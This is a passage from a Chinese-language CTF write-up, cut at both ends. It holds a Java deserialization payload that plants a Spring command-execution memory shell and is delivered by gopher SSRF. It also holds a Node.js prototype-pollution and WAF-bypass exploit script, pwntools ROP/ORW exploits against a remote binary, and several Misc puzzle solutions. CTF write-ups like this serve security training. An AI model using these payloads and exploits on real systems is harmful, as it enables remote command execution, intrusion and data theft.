W8BAAFjAQATTGphdmEvdXRpbC9TY2FubmVyOwEABGFyZzABAAZ3cml0ZXIBABVMamF2YS9pby9QcmludFdyaXRlcjsBAAdyZXF1ZXN0AQAnTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7AQAIcmVzcG9uc2UBAChMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7AQANU3RhY2tNYXBUYWJsZQcAhQcAvQcAvgcAiQcAvwcAogcApwcAtQcAwAEAClNvdXJjZUZpbGUBABdJbmplY3RUb0NvbnRyb2xsZXIuamF2YQwAOQA6BwDBDADCAMMBADlvcmcuc3ByaW5nZnJhbWV3b3JrLndlYi5zZXJ2bGV0LkRpc3BhdGNoZXJTZXJ2bGV0LkNPTlRFWFQHAMQMAMUAxgEANW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvV2ViQXBwbGljYXRpb25Db250ZXh0AQBSb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvbWV0aG9kL2Fubm90YXRpb24vUmVxdWVzdE1hcHBpbmdIYW5kbGVyTWFwcGluZwwAxwDIAQASSW5qZWN0VG9Db250cm9sbGVyAQAPamF2YS9sYW5nL0NsYXNzDADJAMoBAEZvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUGF0dGVybnNSZXF1ZXN0Q29uZGl0aW9uAQAQamF2YS9sYW5nL1N0cmluZwEABy95YW5nOTkMADkAywEATG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL2NvbmRpdGlvbi9SZXF1ZXN0TWV0aG9kc1JlcXVlc3RDb25kaXRpb24BADVvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9iaW5kL2Fubm90YXRpb24vUmVxdWVzdE1ldGhvZAwAOQDMAQA9b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbwwAOQDNDAA5AGAMAM4AzwEAQG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9TZXJ2bGV0UmVxdWVzdEF0dHJpYnV0ZXMMANAA0QwA0gDTAQADY21kBwC9DADUANUHAL4MANYA1wEAAAEAB29zLm5hbWUHANgMANkA1QwA2gDbAQADd2luDADcAN0BABhqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXIBAAdjbWQuZXhlAQACL2MBAAcvYmluL3NoAQACLWMBABFqYXZhL3V0aWwvU2Nhbm5lcgwA3gDfBwDgDADhAOIMADkA4wEAAlxBDADkAOUMAOYA5wwA6ADbDADpADoHAL8MAOoAYAwA6wA6DADsAO0BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAIGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uAQAgamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb24BAB9qYXZhL2xhbmcvTm9TdWNoTWV0aG9kRXhjZXB0aW9uAQAeamF2YS9sYW5nL05vU3VjaEZpZWxkRXhjZXB0aW9uAQAramF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvblRhcmdldEV4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAJWphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3QBACZqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZQEAE2phdmEvaW8vUHJpbnRXcml0ZXIBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA8b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9yZXF1ZXN0L1JlcXVlc3RDb250ZXh0SG9sZGVyAQAYY3VycmVudFJlcXVlc3RBdHRyaWJ1dGVzAQA9KClMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9yZXF1ZXN0L1JlcXVlc3RBdHRyaWJ1dGVzOwEAOW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9SZXF1ZXN0QXR0cmlidXRlcwEADGdldEF0dHJpYnV0ZQEAJyhMamF2YS9sYW5nL1N0cmluZztJKUxqYXZhL2xhbmcvT2JqZWN0OwEAB2dldEJlYW4BACUoTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9PYmplY3Q7AQAJZ2V0TWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBADsoW0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9iaW5kL2Fubm90YXRpb24vUmVxdWVzdE1ldGhvZDspVgEB9ihMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvY29uZGl0aW9uL1BhdHRlcm5zUmVxdWVzdENvbmRpdGlvbjtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvY29uZGl0aW9uL1JlcXVlc3RNZXRob2RzUmVxdWVzdENvbmRpdGlvbjtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvY29uZGl0aW9uL1BhcmFtc1JlcXVlc3RDb25kaXRpb247TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL2NvbmRpdGlvbi9IZWFkZXJzUmVxdWVzdENvbmRpdGlvbjtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvY29uZGl0aW9uL0NvbnN1bWVzUmVxdWVzdENvbmRpdGlvbjtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvY29uZGl0aW9uL1Byb2R1Y2VzUmVxdWVzdENvbmRpdGlvbjtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvY29uZGl0aW9uL1JlcXVlc3RDb25kaXRpb247KVYBAA9yZWdpc3Rlck1hcHBpbmcBAG4oTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm87TGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDspVgEACmdldFJlcXVlc3QBACkoKUxqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OwEAC2dldFJlc3BvbnNlAQAqKClMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7AQAMZ2V0UGFyYW1ldGVyAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAEGphdmEvbGFuZy9TeXN0ZW0BAAtnZXRQcm9wZXJ0eQEAC3RvTG93ZXJDYXNlAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEABXN0YXJ0AQAVKClMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAHaGFzTmV4dAEAAygpWgEABG5leHQBAAVjbG9zZQEABXdyaXRlAQAFZmx1c2gBAAlzZW5kRXJyb3IBAAQoSSlWACEACAA4AAAAAAAFAAEAOQA6AAIAOwAAAQUACQAIAAAAcSq3AAG4AAISAwO5AAQDAMAABUwrEga5AAcCAMAABk0SCBIJA70ACrYAC067AAxZBL0ADVkDEg5TtwAPOgS7ABBZA70AEbcAEjoFuwATWRkEGQUBAQEBAbcAFDoGuwAIWRIVtwAWOgcsGQYZBy22ABexAAAAAgA8AAAAKgAKAAAAGAAEABkAEwAbAB8AHQArAB8APQAhAEoAIwBcACUAZwAmAHAAJwA9AAAAUgAIAAAAcQA%2bAD8AAAATAF4AQABBAAEAHwBSAEIAQwACACsARgBEAEUAAwA9ADQARgBHAAQASgAnAEgASQAFAFwAFQBKAEsABgBnAAoATAA/AAcATQAAAAwABQBOAE8AUABRAFIAAQBTAFQAAwA7AAAAPwAAAAMAAAABsQAAAAIAPAAAAAYAAQAAACwAPQAAACAAAwAAAAEAPgA/AAAAAAABAFUAVgABAAAAAQBXAFgAAgBNAAAABAABAFkAWgAAAAkCAFUAAABXAAAAAQBTAFsAAwA7AAAASQAAAAQAAAABsQAAAAIAPAAAAAYAAQAAADEAPQAAACoABAAAAAEAPgA/AAAAAAABAFUAVgABAAAAAQBcAF0AAgAAAAEAXgBfAAMATQAAAAQAAQBZAFoAAAANAwBVAAAAXAAAAF4AAAABADkAYAACADsAAAA5AAEAAgAAAAUqtwABsQAAAAIAPAAAAAYAAQAAADQAPQAAABYAAgAAAAUAPgA/AAAAAAAFAGEAYgABAFoAAAAFAQBhAAAAAQBjADoAAgA7AAAB0wAGAAgAAADNuAACwAAYwAAYtgAZTLgAAsAAGMAAGLYAGk0rEhu5ABwCAE4suQAdAQA6BC3GAJMSHjoFEh%2b4ACC2ACESIrYAI5kAIbsAJFkGvQANWQMSJVNZBBImU1kFLVO3ACc6BqcAHrsAJFkGvQANWQMSKFNZBBIpU1kFLVO3ACc6BrsAKlkZBrYAK7YALLcALRIutgAvOgcZB7YAMJkACxkHtgAxpwAFGQU6BRkHtgAyGQQZBbYAMxkEtgA0GQS2ADWnAAwsEQGUuQA2AgCnAAROsQABABoAyADLADcAAwA8AAAATgATAAAAOQANADoAGgA%2bACMAPwArAEAALwBBADMAQwBDAEQAYQBGAHwASACSAEkApgBKAKsASwCyAEwAtwBNALwATgC/AFAAyABSAMwAUwA9AAAAXAAJAF4AAwBkAGUABgAzAIkAZgBiAAUAfABAAGQAZQAGAJIAKgBnAGgABwAjAKUAaQBiAAMAKwCdAGoAawAEAAAAzQA%2bAD8AAAANAMAAbABtAAEAGgCzAG4AbwACAHAAAAA2AAj/AGEABgcAcQcAcgcAcwcAdAcAdQcAdAAA/AAaBwB2/AAlBwB3QQcAdPgAGvkACEIHAHgAAE0AAAAEAAEAeQABAHoAAAACAHtwdAAEbmFtZXB3AQB4c3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWVxAH4ACVsAC2lQYXJhbVR5cGVzcQB%2bAAh4cHVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAB0AA5uZXdUcmFuc2Zvcm1lcnVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHh4
"""
#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(test)
new = tmp.replace('%0A','%0D%0A')
result = '_'+new
print('gopher://192.168.7.23:8080/'+result)
得到的gopher协议二次编码打入url参数里之后访问该内存马
http://192.168.7.23:8080/yang99?cmd=cat%2b/flag
06
cbshop
登录admin
审计代码看到登录模块处理
username === adminUser.username && password === adminUser.password.substring(1,6)
直接放浏览器执行下得到真正的password
"?admin?".substring(1,6)
//得到 uDE00admi
admin
uDE00admi
登录后有了 9999 钱原型链污染
有了钱之后发现还是买不了flag,还要满足 user.token
,但发现 user
对象是这样的
var user = {
username: req.session.username,
money: req.session.money
};
并没有 token
属性,后续审计代码不难发现这里存在原型链污染漏洞
let order = {};
if(!order[user.username]) {
order[user.username] = {};
}
Object.assign(order[user.username], product);
product
对象是我们post的json数据转化而来,我们完全可控,而这里如果我们的 user.username
是 __proto__
,这样的话就会将 product
对象合并到 order
的 __proto__
中,而user
和 order
的原型都是 Object
,是同一个原型,当 product
中构造 token:true
时,user.token
访问为 true
即只需要登录admin后修改用户名为 __ptoto__
之后原型链污染过token验证
{"name": "/flag", "id": 2, "token": true}
构造URL实例绕过经过上述操作后发现读取 /flag
文件有 waf,需要绕过
程序会将json转化为对象
json中将name的值修改为一个对象 {}
发送可以看到这样的报错
TypeError [ERR_INVALID_ARG_TYPE]: The "path" argument must be of type string or an instance of Buffer or URL. Received an instance of Object
可以发现传入的参数不只是字符串,也可以是一个 URL 实例 本地测试发现
使用URL 实例可以正常读取文件,将 flag
进行url编码从而绕过,那构造一个URL对象即可
/buy 下 发json包
{
"name":{
"href": 'file:///fl%61g',
"origin": 'null',
"protocol": 'file:',
"username": '',
"password": '',
"host": '',
"hostname": '',
"port": '',
"pathname": '/fl%61g',
"search": '',
"searchParams": "URLSearchParams {}",
"hash": ''
},
"id":2,
"token":true
}
exp
import requests
session = requests.Session()
url = "http://localhost:8000/" # 题目url
def login():
data = {
"username": "admin",
"password": "uDE00admi"
}
session.post(url + "login", json = data)
def changeUsername():
data = { "username": "__proto__" }
session.post(url + "changeUsername", json = data)
def buyFlag():
data = {
"name":{
"href": 'file:///fl%61g',
"origin": 'null',
"protocol": 'file:',
"username": '',
"password": '',
"host": '',
"hostname": '',
"port": '',
"pathname": '/fl%61g',
"search": '',
"searchParams": "URLSearchParams {}",
"hash": ''
},
"id":2,
"token":True
}
res = session.post(url + "buy", json = data)
return res.text
if __name__ == '__main__':
login()
changeUsername()
flag = buyFlag()
print(flag)
Misc
01
Sign_in
关于这题,有一点脑洞,出题人已经被暴捶过并且已经丢进小黑屋了
本来想上hint,但是没多久就被秒了(懵.jpg
提供一个附件what_is_it.piz,.piz就是一个很明显的hint,里面就是一个docx文件倒了一下,还原即可
```plain
with open('what_is_it.piz', 'rb') as f:
with open('flag.txt', 'w') as f1:
f1.write(f.read(700000).hex().upper()[::-1])
恢复后得到的是一个docx文件,打开发现是一首歌曲,可以通过百度很快的找到这首歌的一个歌词,进行比对可以发现少了9个字母,以及作者TREX
同时,在docx中把隐藏文字设置打开,就能看到hint,提示是维吉尼亚
所以本题的目的就是爆破这9个字母的顺序得到flag
```plain
from string import ascii_uppercase as uppercase
from itertools import cycle
import hashlib
table = dict()
for ch in uppercase:
index = uppercase.index(ch)
table[ch] = uppercase[index:] + uppercase[:index]
deTable = {'A': 'A'}
start = 'Z'
for ch in uppercase[1:]:
index = uppercase.index(ch)
deTable[ch] = chr(ord(start) + 1 - index)
def deKey(key):
return ''.join([deTable[i] for i in key])
def encrypt(plainText, key):
result = []
# 创建cycle对象,支持密钥字母的循环使用
currentKey = cycle(key)
for ch in plainText:
if 'A' <= ch <= 'Z':
index = uppercase.index(ch)
# 获取密钥字母
ck = next(currentKey)
result.append(table[ck][index])
else:
result.append(ch)
return ''.join(result)
key = "TREX"
keys = deKey(key)
def Pailie(list1, start, end):
if start == end:
q = "".join(list1)
ans = encrypt(q, keys)
# print(ans)
flag = hashlib.md5(ans.encode()).hexdigest()
if ("5613a" in flag[0:5]):
print(flag)
else:
for i in range(start, end + 1):
list1[start], list1[i] = list1[i], list1[start]
Pailie(list1, start + 1, end)
list1[start], list1[i] = list1[i], list1[start]
mw = ['H', 'Y', 'L', 'E', 'V', 'S', 'G', 'Q', 'Y']
Pailie(mw, 0, len(mw) - 1)
得到的明文是OHHHCBCTF flag是CBCTF{5613a6958d6e15059f6afc1a4bfd3d0e}
02
easy_keyboard
附件是一个压缩包以及.Q文件,记事本打开断定为按键精灵的脚本,导入后找一个记事本运行,得到一个key,但是没有什么用,仔细查看按键脚本发现使用了退格,把所有的退格注释,再运行
得到真正的三段密钥
6e187bef
323d1a4b
f067ec94
三个四字节的秘钥,熟悉zip明文攻击能直接想到这是明文攻击结束后得到的秘钥,所以可以直接用archpr来破解,于是用三段密钥破解zip,得到usb的键盘流量 tshark提取一下
tshark -r keyboard.pcapng -T fields -e usbhid.data > usbdata.txt
得到的usb.txt中发现是4f,50,51,52,并不在一般的键盘按键范围,于是查找键盘按键https://max.book118.com/html/2017/0407/99227972.shtm
发现对应的是箭头
→↓←↓→ ↓→↑↓↓ ↓→↑↓↓ →←↓→↓← →↓↓↑←↑ →↓←↓→↑←↑ ↓↓→↑← →↓↓ →↓↓ ↓↓ →↓↓ →↓↓ ↓↓ →↓←→↓← →↓←↓→↑←↑ ↓↓→↑← →↓←↓→↑←↑ →↓↓ →↓↓↑←↑ →↓↓←↑↑ →↓←↓→ →↓↓←↑↑ ↓↓→↑← →←↓→↓← →↓↓←↑↑ ↓→↑↓↓ →↓←→↓← →←↓→↓← →↓←↓→↑←↑ →↓←↓→↑←↑ →←↓→↓← →←↓→↓← ↓↓ →↓←↓→ →↓←↓→↑←↑ →↓←→↓← →↓↓↑←↑ →↓↓↑←↑ →←↓→↓← ↓↓ ↓↓→↑← →↓←→↓← →↓↓←↑↑ →↓↓↑←↑ →↓←↓→↑←↑ ↓↓→↑← →↓←↓→ ↓→↑↓↓ →↓←↓→↑←↑ ↓↓→↑← ↓↓ ↓↓→↑← →↓↓ →↓←↓→↑←↑ →↓↓↑←↑ ↓↓ →←↓→↓← →↓↓↑←↑ →↓↓↑←↑ →↓↓←↑↑ ↓↓→↑← →↓←↓→↑←↑ →↓↓←↑↑ →↓↓ ↓→↑↓↓ →↓←→↓← →↓↓↑←↑ ↓↓→↑← ↓→↑↓↓ →↓←↓→↑←↑ →↓↓←↑↑ →↓←→↓← →←↓→↓← →↓↓↑←↑ →↓←↓→↑←↑ →↓←→↓← ↓→↑↓↓ ↓↓→↑← →↓←→↓← ↓→↑↓↓ ↓↓ →↓↓←↑↑ →↓↓ →↓↓←↑↑ →↓←→↓← →←↓→↓← →↓↓←↑↑ ↓↓→↑← →↓←↓→↑←↑ →↓←↓→ →↓←↓→↑←↑ →↓↓↑←↑ ↓→↑↓↓ →↓←↓→ →↓←↓→↑←↑ ↓↓→↑← →↓↓←↑↑ →↓↓ →↓↓←↑↑ →↓↓←↑↑ ↓↓→↑← ↓→↑↓↓ →↓↓←↑↑ ↓↓→↑← →↓←→↓← →↓↓
以空格为分隔将箭头还原
exp:
from PIL import Image
str = "4f5150514f00514f52515100514f525151004f50514f5150004f5151525052004f5150514f5250520051514f5250004f5151004f5151005151004f5151004f5151005151004f51504f5150004f5150514f5250520051514f5250004f5150514f525052004f5151004f5151525052004f5151505252004f5150514f004f51515052520051514f5250004f50514f5150004f515150525200514f525151004f51504f5150004f50514f5150004f5150514f525052004f5150514f525052004f50514f5150004f50514f5150005151004f5150514f004f5150514f525052004f51504f5150004f5151525052004f5151525052004f50514f51500051510051514f5250004f51504f5150004f5151505252004f5151525052004f5150514f5250520051514f5250004f5150514f00514f525151004f5150514f5250520051514f52500051510051514f5250004f5151004f5150514f525052004f5151525052005151004f50514f5150004f5151525052004f5151525052004f51515052520051514f5250004f5150514f525052004f5151505252004f515100514f525151004f51504f5150004f51515250520051514f525000514f525151004f5150514f525052004f5151505252004f51504f5150004f50514f5150004f5151525052004f5150514f525052004f51504f515000514f5251510051514f5250004f51504f515000514f525151005151004f5151505252004f5151004f5151505252004f51504f5150004f50514f5150004f51515052520051514f5250004f5150514f525052004f5150514f004f5150514f525052004f515152505200514f525151004f5150514f004f5150514f5250520051514f5250004f5151505252004f5151004f5151505252004f51515052520051514f525000514f525151004f51515052520051514f5250004f51504f5150004f515100"
img = Image.new('RGB', (len(str), len(str)))
i = 0
j = 5
print(len(str))
for n in range(len(str) // 2 -1):
print(str[n*2:(n+1)*2])
if str[n*2:(n+1)*2] == '4f':
for k in range(6):
i += 1
img.putpixel((i, j), (255, 255,255 ))
if str[n*2:(n+1)*2] == '51':
for k in range(6):
j += 1
# r, g, b = img.getpixel((i, j))
img.putpixel((i, j), (255, 255, 255))
if str[n*2:(n+1)*2] == '50':
for k in range(6):
i -= 1
# r, g, b = img.getpixel((i, j))
img.putpixel((i, j), (255, 255, 255))
if str[n*2:(n+1)*2] == '52':
for k in range(6):
j -= 1
# r, g, b = img.getpixel((i, j))
img.putpixel((i, j), (255, 255, 255))
if str[n*2:(n+1)*2] == '00':
j = 5
i = i + 10
img.show()
得到一串数字
2445986771771386879020650435885512839951630986248616789159906807439648035983463410703506828942860700640637
一串十进制,目的是flag,也就是字符串,所以直接n2s exp:
import binascii
from libnum import *
flag=2445986771771386879020650435885512839951630986248616789159906807439648035983463410703506828942860700640637
print(n2s(flag))
上面的exp就是图一乐,最后放个出题人因为懒得提取,写的exp:
import libnum
f = open("keyboard.pcapng","rb").read()
pos = 1340
draws = ["622488","22","62426","624624","26822","642624","22684","622","62426848","622848"]
chars = ["0","1","2","3","4","5","6","7","8","9"]
c = ""
while(pos < len(f)):
data = f[pos+57]
if(data == 0x52):
c += "8"
elif(data == 0x51):
c += "2"
elif(data == 0x50):
c += "4"
elif(data == 0x4f):
c += "6"
elif(data == 0):
c += " "
pos += 0x80
c = c.split(" ")[:-1]
ans = ""
for i in c:
ans += chars[draws.index(i)]
print(libnum.n2s(int(ans)))
03
mask
本题来自于出题人没事做的时候,学习二维码的时候,发现二维码掩码的特征位置黑白块读出的二进制与实际对应的掩码是是第几个不对应,所以想着干脆多搞出8种掩码,才重新规划一种符合顺序的掩码,虽然掩码生成的规则都是我随便乱凑的
把zip放入16进制编辑器中,发现文件尾有rar
把rar提取出来,得到自定义掩码的运算规则
mask0:(i+j) % 2
mask1:j % 2
mask2:i % 3
mask3:(i+j) % 3
mask4:(i//3+j//2)%2
mask5:(i*j)%3+(i*j)%2
mask6:((i*j)%3+i*j)%2
mask7:((i*j)%3+i+j)%2
mask8:(i*j) % 2
mask9:(i*j) % 3
mask10:(i^j) % 3
mask11:(i^j) % 2
mask12:(i//3+j//2)%3
mask13:(i^j)%3+(i^j)%2
mask14:((i^j)%3+i^j)%2
mask15:((i^j)%3+i+j)%2
这里就是重新定义的16种掩码,前8种是原始的掩码生成方式,只是换了一下顺序,所以去扫所有的二维码的时候,可能会发现有的二维码还是能直接扫出来,那就是在生成的时候随机刚好随机到了自己原来的源码
把任意一个二维码的png放入stegsolve中,可以发现在r0的左上角有隐写痕迹
多看几张图,可以发现就只有前四格存在隐写,结合描述说掩码的识别特征不在二维码区域,所以可以知道这个4位的数据就是16种掩码的特征位
因为不想修改到二维码的原始部分,所以就把掩码特征位放到了左上角的空白区域,通过lsb即可看到
按照16种掩码的规律,读取图片,将掩码去掉,然后再读取二维码原本的掩码特征值
就是这里
对应的掩码
这里八种掩码是按特征码的二进制顺序排的,但不是掩码的顺序,上述按顺序对应的掩码是
mask2,mask3,mask0,mask1,mask6,mask7,mask4,mask5
需要按下面的顺序
然后就可以扫码,但是扫码得到的发现是0-131的值,明显是一个顺序,而二维码本身的掩码共8种,提取一下掩码的类型,然后3个一组,8进制转码即可,可以说是非常简单了,只要写一个二维码的掩码处理就可以了,都不用写完整的二维码解析器,最后写脚本处理即可
脚本就不放了,毕竟是一个很简单的脚本。
04
ezflow
打开流量包可以发现含有ctf/misc字符串的MQTT流量包
提取出MQTT流量传输的数据,根据MQTT对传输数据的处理方式(用mosquito搭建mqtt服务,自己发布0-255字符串抓包分析得到),恢复出原始数据
import paho.mqtt.client as mqtt
client = mqtt.Client()
client.connect("127.0.0.1",1883,60)
data=''
for i in range(0x100):
data+=chr(i)
client.publish('ctf/misc',data)
根据抓包所得的对照关系写脚本恢复原始传输数据
恢复数据后可以发现,可见字符串都在base64的范围内,因为mqtt传输数据时对于0-0x7f和0x80-0xff的字符处理方式不同,猜测高位隐写了二进制,而末7位隐写了base64字符
from Crypto.Util.number import *
import base64
f=open('data','rb')
data=f.read()
i=0
res=''
bin_pwd=''
while i<len(data):
if data[i]<0x80:
res+=chr(data[i])
bin_pwd+='0'
i+=1
else:
if data[i]==0xc2:
res+=chr(data[i+1]&0x7f)
else:
res+=chr((data[i+1]+0x40)&0x7f)
bin_pwd+='1'
i+=2
f=open("flag.zip","wb")
#print(res)
f.write(base64.b64decode(res))
bin_pwd=bin_pwd+'0'*(8-len(bin_pwd)%8)
print(long_to_bytes(int(bin_pwd,2)))
base64解码得到zip,二进制转ASCII得到pwd:@Dsy$r0aE.SR[42f*#s 利用密码解压zip,得到flag.jpg,fuzz一下,用刚才的密码steghide解出flag
PWN
01
appetizer
通过func栈帧写值给check栈帧复用完成检测,csu调用write泄露libc,read往rop后接新的ORWrop获取flag
def exp():
global r
global libc
global elf
r=remote("127.0.0.1",9999)
##r=process('./appetizer')
libc=ELF('libc-2.31.so')
elf=ELF('./appetizer')
r.sendafter("Let's check your identity",'aaNameless');
r.recvuntil('Here you are:')
database=int(r.recvuntil('n',drop=True),16)-0x4050
log.success('database:'+hex(database))
##set proc_func
pop_rdi_ret=database+0x14d3
ret=database+0x101a
csu_start=database+0x14B0
csu_end=database+0x14ca
write_got=database+elf.got['write']
read_got=database+elf.got['read']
buf=database+0x4050
leave_ret=database+0x13a3
##set ROP
ROP=p64(ret)*10+p64(csu_end)+p64(0)+p64(1)+p64(1)+p64(write_got)+p64(0x8)+p64(write_got)+p64(csu_start)
ROP+=p64(0)+p64(0)+p64(1)+p64(0)+p64(buf+0x108)+p64(0x105)+p64(read_got)+p64(csu_start)
ROP+=p64(0)*7
##overflow
print('test:'+hex(len(ROP)))
r.sendafter("information on it",ROP)
##z()
r.sendafter("Tell me your wish:n",p64(buf)+p64(leave_ret))
sleep(1)
libcbase=u64(r.recv(6).ljust(8,'x00'))-libc.sym['write']
log.success("libcbase:"+hex(libcbase))
##one=[0xe6aee,0xe6af1,0xe6af4]
##onegadget=libcbase+one[0]
##set libc_func
pop_rsi_ret=libcbase+0x27529
pop_rdx_pop_rbx_ret=libcbase+0x1626d6
open_addr=libcbase+libc.sym['open']
read_addr=libcbase+libc.sym['read']
puts_addr=libcbase+libc.sym['puts']
flag_addr =buf + 0x108+0x100
chain = flat(
pop_rdi_ret , flag_addr , pop_rsi_ret , 0 , open_addr,
pop_rdi_ret , 3 , pop_rsi_ret , flag_addr , pop_rdx_pop_rbx_ret , 0x100 , 0 , read_addr,
pop_rdi_ret , flag_addr , puts_addr
).ljust(0x100,'x00') + 'flagx00'
r.send(chain)
##print('test:'+hex(len(ROP)))
r.interactive()
不需要csu的办法
return前rdx被赋值0x10,对于write泄露libc来说足够了,难点在于如何在泄露libc之后将payload布置到后面的ROP链上,如果返回start的话,会报错,具体什么原因没调试,感兴趣的可以去试下,我这里返回的是main函数里往end写0x108的地方
需要注意的点挺多的,因为rop链是栈迁移到了end上,如果离end开头太近,函数栈帧会因为往end里写数据而被破坏导致崩溃,所以需要利用多个ret把函数栈帧往下挪,使其远离end开头
同时调试可以发现,return的地址在end上,可以控制,所以第一次打ROP的时候就可以把orw需要的flag文件名布置到end末尾,同时布置第二次返回的返回地址为leave再来一次把ROP链栈迁移到end上,打orw
#encoding: utf-8
#!/usr/bin/python
from pwn import *
import sys
#from LibcSearcher import LibcSearcher
context.log_level = 'debug'
context.arch='amd64'
local=0
binary_name='appetizer'
libc_name='libc-2.31.so'
libc=ELF("./"+libc_name)
elf=ELF("./"+binary_name)
if local:
p=process("./"+binary_name)
#p=process("./"+binary_name,env={"LD_PRELOAD":"./"+libc_name})
#p = process(["qemu-arm", "-L", "/usr/arm-linux-gnueabihf", "./"+binary_name])
#p = process(argv=["./qemu-arm", "-L", "/usr/arm-linux-gnueabihf", "-g", "1234", "./"+binary_name])
else:
p=remote('node4.buuoj.cn',25846)
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
if(context.arch=='i386'):
return u32(p.recv(4))
else :
return u64(p.recv(6).ljust(8,b'x00'))
# main
sa("Let's check your identityn",p64(0x7373656C656D614E).rjust(10,'x00')) #.ljust(16,'x00')
ru('Here you are:')
end_addr=int(p.recv(14),16)
elf_base=end_addr-0x4050
read_plt = elf_base+elf.plt['read']
write_plt = elf_base+elf.plt['write']
puts_got = elf_base+elf.got['puts']
leave_ret=elf_base+0x12d8
pop_rdi=elf_base+0x14d3
pop_rsi_r15=elf_base+0x14d1
ret=elf_base+0x101a
success("elf_base:"+hex(elf_base))
#z('b *$rebase(0x146F)')
#pause()
payload = p64(pop_rdi)+p64(1)
payload += p64(pop_rsi_r15)+p64(puts_got)+p64(0)+p64(write_plt)
payload += p64(ret)*21+p64(elf_base+0x1428)
